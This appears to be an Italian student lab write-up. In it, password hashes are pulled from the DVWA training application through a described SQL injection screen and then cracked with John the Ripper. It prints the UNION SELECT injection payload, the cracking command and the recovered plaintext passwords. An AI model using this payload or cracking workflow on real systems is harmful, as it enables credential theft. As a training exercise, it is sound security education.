

## **Password Cracking**

### **Obiettivo dell'Esercizio:**

Recuperare le password in codice hash nel database della DVWA e eseguire sessioni di cracking per recuperare la loro versione in chiaro.

Una volta essere entrati in possesso delle password sotto forma di codice hash di tipo MD5 dal Database DVWA le ho scritte su un file di testo decifrate grazie al tool John the Ripper.

Nome file di testo:

**hash\_codes.txt**

Comando utilizzato su Kali per avviare la sessione di cracking:

**john --format=raw-md5 hash\_codes**

Una volta terminato il processo di cracking le password in chiaro saranno visibili sul terminale di Kali o ancora meglio nel file chiamato **john.pot** che al suo interno avrà associato il codice hash e la password in chiaro corrispondente come mostrato in foto.

The screenshot displays a Kali Linux desktop environment. In the foreground, a web browser window shows the DVWA (Damn Vulnerable Web Application) interface at the URL `192.168.1.40/dvwa/vulnerabilities/sql/?id=UNION+SELECT+user%2`. The page is titled "Vulnerability: SQL Injection" and features a "User ID:" input field with a "Submit" button. Below the input field, the results of a SQL injection attack are displayed in red text, showing the extraction of user credentials using a UNION SELECT query. The results are as follows:

ID	First name	Surname
'UNION SELECT user, password FROM users#	admin	5f4dcc3b5aa765d61d8327deb882cf99
'UNION SELECT user, password FROM users#	gordonb	e99a18c428cb38d5f260853678922e03
'UNION SELECT user, password FROM users#	1337	8d3533d75ae2c3966d7e0d4fcc69216b
'UNION SELECT user, password FROM users#	pablo	0d107d09f5bbe40cade3de5c71e9e9b7
'UNION SELECT user, password FROM users#	smithy	5f4dcc3b5aa765d61d8327deb882cf99

In the background, a terminal window shows the execution of John the Ripper (John) to crack a password hash. The terminal output is as follows:

```
(kali@kali) [~/Desktop]
$ john --format=raw-md5 hash_codes
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password (??)
password (??)
abc123 (??)
letmein (??)
Proceeding with incremental:ASCII
charley (??)
5g 0:00:00:00 DONE 3/3 (2024-11-07 14:50) 11.36g/s 404904p/s 404904c/s 406650C/s stevy13..ch
ertsu
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

## Conclusione:

Il password cracking rappresenta una delle tecniche più diffuse nell'ambito della sicurezza informatica, evidenziando l'importanza di utilizzare password robuste e politiche di sicurezza efficaci.

Strumenti come John the Ripper dimostrano come, con risorse relativamente limitate, sia possibile compromettere password deboli, mettendo a rischio dati sensibili e sistemi critici.